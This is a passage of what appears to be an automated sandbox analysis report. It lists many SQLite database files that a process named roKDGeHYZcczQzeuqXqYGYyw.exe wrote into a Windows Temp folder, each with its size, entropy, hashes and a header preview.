File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3jLdso2erk

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4B52P6Hr61

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4RgLbO1cNF

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4WT7Aw8NRA

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4hAyVGHLxu

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4vFKMbKRKg

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4yvphhCpZZ

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5EpVbGDutW

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5ypHQwFd7i

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5zPUniTpBp

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\60CRpqrzIV

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6J5SUd1W7e

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7CTuHYjJgH

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7JMAn7DgRP

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7TTEXAcGUe

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7Z2FC8lNOF

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7hUwJgjgCQ

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7xn0WxqAKO

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\80eajzFKON

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\876GbHPlbf

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8OKnn6flhk

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8UqtLRGkov

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8V6s4R4D4w

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8Wzg89FHSY

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8cfI248wEq

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8l91jciB1d

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
